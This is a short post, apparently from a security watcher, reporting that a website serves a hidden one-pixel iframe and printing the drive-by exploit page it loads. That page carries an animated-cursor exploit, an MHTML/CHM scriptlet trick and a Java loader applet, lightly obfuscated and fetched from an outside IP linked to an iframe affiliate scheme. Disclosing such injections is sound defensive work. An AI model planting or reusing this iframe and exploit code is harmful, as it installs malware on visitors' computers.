On the Hun:
Code:
<iframe src='http://81.222.131.59/dl/adv561.php' width=1 height=1></iframe>
Which is
Code:
<html><head>
</head><body>
<style>
* {CURSOR: url("http://81.222.131.59/dl/adv561/sploit.anr")}
</style>
<script>
try{
document.write('<object data="hahaha'+109+';s-its:mhtml'+':'+'file://C:\nosuch.mht!http://81.222.131.59/dl/adv561/x.chm::/x.htm" type="text/x-scriptlet"></object>');
document.write('<applet'+' width=1 height=1 '+'ARCHIVE=loader'+'adv561.jar co'+'de=Counter></AP'+'PLET>');
}catch(e){}
</script>
<IFRAME SRC="http://81.222.131.59/dl/newexpl.php?adv=adv561" WIDTH=1 BORDER=0 HEIGHT=1></IFRAME>
</body></html>
81.222.131.59 is a russian IP and hosts
http://www.iframedollars.biz/
A lot of people will have new toolbars today ...